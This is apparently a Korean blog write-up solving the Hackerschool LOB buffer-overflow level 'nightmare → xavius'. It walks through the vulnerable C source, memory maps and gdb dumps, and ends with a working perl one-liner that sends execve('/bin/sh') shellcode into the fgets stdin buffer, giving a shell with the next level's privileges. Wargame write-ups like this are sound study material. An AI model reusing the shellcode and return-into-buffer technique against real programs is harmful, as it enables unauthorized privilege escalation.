본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( nightmare -> xavius ) by ORANG

LOB_nightmare



[nightmare@localhost nightmare]$ bash2

[nightmare@localhost nightmare]$ ls

xavius  xavius.c

[nightmare@localhost nightmare]$ cat xavius.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

char buffer[40];

char *ret_addr;


// overflow!

fgets(buffer, 256, stdin);

printf("%s\n", buffer);


if(*(buffer+47) == '\xbf')

{

printf("stack retbayed you!\n");

exit(0);

}


if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


// check if the ret_addr is library function or not

memcpy(&ret_addr, buffer+44, 4);

while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function

{

if(*ret_addr == '\xc9'){ // leave

if(*(ret_addr+1) == '\xc3'){ // ret

printf("You cannot use library function!\n");

exit(0);

}

}

ret_addr++;

}


        // stack destroyer

        memset(buffer, 0, 44);

memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}


bash2 띄우고, 이번 힌트는 arg 입니다. 저것만으론 감이 안오네요.

소스도 막막합니다. 그동안 사용해온 방법은 모두 막혀있네요.

라이브러리 함수의 호출을 막는 방법으로, 왜 저런 방법을 사용했을까 수상하네요

다른 영역의 함수호출은 마지막 바이트를 통해 막아놓고, 왜 라이브러리 영역은 

if(*(buffer+47)==\x40) exit(0); 이렇게 같은 방법으로 처리하지 않았을까..



[nightmare@localhost tmp]$ ./xavius &

[1] 8934


[1]+  Stopped                 ./xavius

[nightmare@localhost tmp]$ cd /proc/8934/

[nightmare@localhost 8934]$ cat maps

08048000-08049000 r-xp 00000000 08:06 25         /home/nightmare/tmp/xavius

08049000-0804a000 rw-p 00000000 08:06 25         /home/nightmare/tmp/xavius

40000000-40013000 r-xp 00000000 08:08 34138      /lib/ld-2.1.3.so

40013000-40014000 rw-p 00012000 08:08 34138      /lib/ld-2.1.3.so

40014000-40016000 rw-p 00000000 00:00 0

40018000-40105000 r-xp 00000000 08:08 34145      /lib/libc-2.1.3.so

40105000-40109000 rw-p 000ec000 08:08 34145      /lib/libc-2.1.3.so

40109000-4010d000 rw-p 00000000 00:00 0

bfffe000-c0000000 rwxp fffff000 00:00 0



maps를 살펴보니 \x08, \x40, \xbf 가 아니면 사용할 수 없습니다.

\x40에 답이 있는것 같습니다. \x40 이지만, leave-ret이 없는 곳으로 리턴?

leave-ret이 없어야 하니 함수 형식이 아니겠네요


소스에 쉘을 띄울 수 있는 코드가 없으니 유일한 방법은 쉘코드밖에 없는 것 같습니다.

결과적으로 함수를 사용하지 않고 쉘코드를 \x40 영역에 올릴 방법을 찾아야겠네요

\x40에 있는 함수는 사용할 수 없으므로 라이브러리 영역을 제외해야겠네요


40014000-40016000 rw-p 00000000 00:00 0

40109000-4010d000 rw-p 00000000 00:00 0


일단 gdb로 이 2개 영역을 확인해보겠습니다.


1번째 영역을 찾다보니..


(gdb)

0x40014fa0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014fb0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014fc0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014fd0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014fe0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40014ff0: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015020: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015030: 0x41414141 0x41414141 0x41414141 0x41414141

(gdb)

0x40015040: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015050: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015060: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015070: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015080: 0x41414141 0x41414141 0x41414141 0x41414141

0x40015090: 0x41414141 0x41414141 0x41414141 0x41414141

0x400150a0: 0x41414141 0x41414141 0x41414141 0x41414141

0x400150b0: 0x41414141 0x41414141 0x41414141 0x41414141

0x400150c0: 0x41414141 0x41414141 0x41414141 0x41414141

0x400150d0: 0x41414141 0x41414141 0x41414141 0x41414141


buffer를 채워주기 위해 입력한 값이 보입니다.

그것도 정확히 0x40015000부터..? 뭔가 있는 것 같습니다.


일단 공격부터 해보면..


저부분에 제대로 입력이 되나 확인해보고, 리턴시켜보겠습니다.


(gdb) r

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/nightmare/tmp/./xavius

ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ

ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZ



Program received signal SIGSEGV, Segmentation fault.

0x40077f72 in memcmp () from /lib/libc.so.6

(gdb) x/40x 0x40015000

0x40015000: 0x44434241 0x48474645 0x4c4b4a49 0x504f4e4d

0x40015010: 0x54535251 0x58575655 0x42415a59 0x46454443

0x40015020: 0x4a494847 0x4e4d4c4b 0x5251504f 0x56555453

0x40015030: 0x5a595857 0x0000000a 0x00000000 0x00000000

0x40015040: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015050: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015060: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015070: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015080: 0x00000000 0x00000000 0x00000000 0x00000000

0x40015090: 0x00000000 0x00000000 0x00000000 0x00000000 



입력한 그대로 있는게 보이네요.

[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x15, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1

\x89\xc2\xb0\x0b\xcd\x80","AAAA","\x01\x50\x01\x40"';cat) | ./xavius

1Ph//shh/binPS°

                                    ̀AAAAP@



id

uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)


my-pass

euid = 519

throw me away




strcpy 함수가 있으니 0x40015000 이 아니라 0x40015001을 사용했습니다.


눈치와 삽질로 문제를 풀긴 풀었네요ㅋㅋ 굳ㅋㅋㅋㅋ


이제 이유를 찾아보겠습니다.


0x4015000 이부분은 fgets함수가 입력을 받을 때, 임시로 저장하는 임시버퍼라고 합니다.


strace로 찾아보면..


[4000f891] munmap(0x40015000, 12210)    = 0

[400ca7fd] personality(PER_LINUX)       = 0

[400aa257] getpid()                     = 9015

[400bdc8c] fstat64(0, 0xbffff944)       = -1 ENOSYS (Function not implemented)

[400bdcd3] fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0

[400c7afd] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS



mmap함수로 0x40015000에 공간을 확보하고 read로 입력받는걸 볼 수 있습니다.